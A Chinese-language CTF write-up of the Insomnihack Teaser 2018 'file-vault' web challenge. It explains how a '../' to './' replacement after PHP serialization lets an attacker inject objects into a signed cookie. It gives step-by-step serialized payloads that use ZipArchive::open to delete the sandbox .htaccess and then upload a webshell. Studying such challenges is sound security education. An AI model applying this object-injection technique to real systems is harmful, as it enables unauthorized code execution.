insomnihack-teaser-2018/file-vault 学习

队里月赛出了一道前不久insomnihack-teaser-2018的web:file-vault。是道对象注入的题目,我觉得不错,就做一下记录。其实也就是把原wp大致翻译了一下233333

0x00
这题是Insomnihack Teaser 2018的原题,题目的writeup地址自取:
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault

0x01
题目上来是个文件上传的服务,给了源代码upload.php

 fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }

    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}

if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:
        $content = "
"; $files = myunserialize($_COOKIE['files'], $secret); if($files) { $content .= ""; } break; case 'upload': if($_SERVER['REQUEST_METHOD'] === "POST") { if(isset($_FILES['file'])) { $uploadfile = new UploadFile; $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name'])); $files = myunserialize($_COOKIE['files'], $secret); $files[] = $uploadfile; setcookie('files', myserialize($files, $secret)); header("Location: index.php?action=home"); exit; } } break; case 'changename': if($_SERVER['REQUEST_METHOD'] === "POST") { $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']]) && isset($_POST['newname'])){ $files[$_GET['i']]->fakename = $_POST['newname']; } setcookie('files', myserialize($files, $secret)); } header("Location: index.php?action=home"); exit; case 'open': $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']])){ echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname); } exit; case 'reset': setcookie('files', myserialize([], $secret)); $_COOKIE['files'] = myserialize([], $secret); array_map('unlink', glob("$sandbox_dir/*")); header("Location: index.php?action=home"); exit; }

这个文件上传通过cookie来保存你上传的文件信息。$_COOKIE['files']的值是个反序列话的数组,数组的每个元素是一个UploadFile对象,保存了一个fakename(你上传的名字,可以修改)和一个realname(hash过的,真实的物理地址)。

这个文件上传一共有五个功能:
home: 通过反序列化cookie的值获得你的上传文件列表,然后显示在前端页面
upload: 上传文件,无过滤
changename: 修改某个已上传文件的fakename,然后重新序列化
open: 输出指定文件的fakename和realname
reset: 清空你的sandbox

UploadFile类就一个上传文件的函数和一个open函数。

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;        
        $this->realname = sha1($content).$ext;
    }

    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

但是因为每次建立sandbox的时候,都会在目录加上一个.htaccess文件来限制php的执行,因此我们无法直接上传shell。

同时由于在序列化和反序列化的时候做了签名,我们也不能直接通过修改cookie的方式来改变对象。

0x02
这道题的破题点在于源码里的myserialize函数。

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret); 
}

这里在序列化对象之前,画蛇添足的加了一个过滤,把../过滤成了./

比如有这么一个序列化后的字符串

a:2:{i:0;s:3:"../";i:1;s:5:"hello";}

在myserialize函数处理后就变成了

a:2:{i:0;s:3:"./";i:1;s:5:"hello";}

那么问题在哪呢??

显而易见的,这个时候在反序列化的时候,php在读取a[0]的值的时候,认为是个3字节的字符串,就把./"当做了值,而从这之后,反序列化肯定就出错了。

那么如果合理控制../的数量,是不是就可以引入一个非法的对象呢。

a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}

对于这个序列化的字符串,处理以后

a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}

这个时候,s:39对应的字符串变成了./././././././././././././";i:1;s:20:"A

那么我们就把本来不应该有的Injected引入了进来。

0x03
回到题目本身,由于myserialize的问题,如果我们有一个可控点,就可以尝试引入非法的对象。这个可控点就是changename。

changename会修改fakename的值同时重新序列化对象。

假设我们有两个对象A和B。

A中的fakename是若干个../
B中的fakename是满足拼接条件的非法对象,通过重新序列化完全签名以后,我们就能通过反序列化引入非法的对象了。

0x04
最后的问题在于,我们引入一个怎样的对象来达到getshell的目的。因为sandbox下面的.htaccess文件导致我们无法getshell。所以我们只要想办法把.htaccess文件删除就可以了。

Upload类本身没有什么magic函数,可用的只有它的upload和open函数。

这时候就想到一些php带的类里存在的open函数是不是有什么可以利用的点了。

根据wp,发现了ZipArchive::open函数可以完成。

ZipArchive::open的第一个参数是文件名,第二个参数是flags,ZipArchive::OVERWRITE的意思是重写覆盖文件,这个操作会删除原来的文件。

因为UploadFile类的open函数的参数是fakename和realname,fakename对应.htaccess,realname对应flags,这里直接用了ZipArchive::OVERWRITE的integer值9。

0x05
原理大概是这样,然后是payload的构造。

序列化一个ZipArchive类的对象

fakename = "sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";
$zip->realname = "9";
echo serialize($zip);

然后随便传一个A和一个B,得到序列化的值

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:1:"A";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:1:"B";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}e63b1d808ed7d1bfc9ddc6559bb215ba5d456f9f8419e1eafe66770867e2164b

然后按照前面说的,把B的fakename改成需要构造的ZipArchive的内容

ZipArchive序列化的内容是

i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"
";}}

因为B本身后面还跟着一个";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt67个无用的字节,所以comment的的长度为67

然后因为A等会吃掉的字符是直接吃到B的位置的,所以前面还需要补一段";s:8:"realname";s:1:"A";}

B的构造的fakename的最终值为

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
";}}

然后因为A要吞的部分是

";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"

一共117位,就是A的部分就是 "../"*117

0x06
按照上述步骤修改了B和A(先B后A)以后获得的cookie就是引入了非法对象的cookie了。

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}1493de201a4cc794a075c78a0aa5b945f5d2a6937c7475708d9bd1a5606496ca

然后就是上传一个小马

调用一下index.php?action=open&i=1以后,就会执行数组中i:1的对象的open函数,即ZipArchive的open函数,成功删除.htaccess文件getshell

你可能感兴趣的:(insomnihack-teaser-2018/file-vault 学习)